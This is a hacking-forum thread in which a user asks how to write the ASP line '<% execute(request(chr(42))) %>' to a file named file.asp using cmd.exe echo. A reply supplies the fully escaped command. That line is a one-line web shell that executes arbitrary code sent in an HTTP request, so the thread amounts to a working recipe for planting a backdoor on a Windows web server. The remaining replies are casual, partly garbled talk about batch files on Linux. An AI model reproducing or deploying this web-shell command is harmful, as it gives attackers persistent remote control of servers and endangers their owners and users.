Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Say I wanted to 'echo' something using cmd.exe

Say I needed to echo

Code
<% execute(Response.Write("Test") %>

using cmd.exe on commmand line and write it to a file like the following

Code
echo <% execute(request(chr(42))) %> > file.asp

how would I do that? since the

Code
<%

does not escape as we can escape these chars in Linux echo, how would we do this using cmd.exe on Windows? 🤦‍♂
you would do it like this:
echo ^<^% execute^(request^(chr^(42^)^)^) ^%^> > file.asp

^ is the escape character for batch, just like \ is for shell
(Oct 16, 2014 06:42 PM)シャドー Wrote:  you would do it like this:
echo ^<^% execute^(request^(chr^(42^)^)^) ^%^> > file.asp

^ is the escape character for batch, just like \ is for shell

Hi thanks figured it out. Since I am from Linux background, finding it a bit uneasy. We used to use 'echo -e' to escape in *nix
Linux (at least Ubuntu) will run .bat files but idk.
seems this code is fixed by these others but hope you get it fixed (and that my input helped).
(Oct 17, 2014 08:52 PM)zacharyprime Wrote:  Linux (at least Ubuntu) will run .bat files but idk.
seems this code is fixed by these others but hope you get it fixed (and that my input helped).

wut? that's crazy 🤦‍♂
*nix does not by default run batch files. ❓
Nice to know your question has been answered next time if you have a batch script or Command Prompt commands questions you should open thread at the Batch, Shell, Dos, and Command Line Interpreters section.
(Oct 17, 2014 08:52 PM)zacharyprime Wrote:  Linux (at least Ubuntu) will run .bat files but idk.
seems this code is fixed by these others but hope you get it fixed (and that my input helped).

Linux does only run Batch files through Wine/Dosbox/... And even then it only works if it don't include platform/OS-depended codes. :)

del (Windows) =/= rm (Linux)
echo (Windows == echo (Linux)

Bach codes with the del-command in it won't run, but echo will just run fine because Linux knows the echo-command as well. :)


Possibly Related Threads...
Thread / Author Replies Views Last Post
by rockyyApr 25, 2022 10:07 PM 5 200 Apr 25, 2022 10:07 PM
Last Post: rockyy
by Account of the GodsMar 6, 2018 04:55 AM 1 196 Mar 6, 2018 04:55 AM
Last Post: R3VC0N
by MahmoodHBMar 26, 2013 08:52 AM 63 3,418 Mar 26, 2013 08:52 AM
Last Post: Gustav.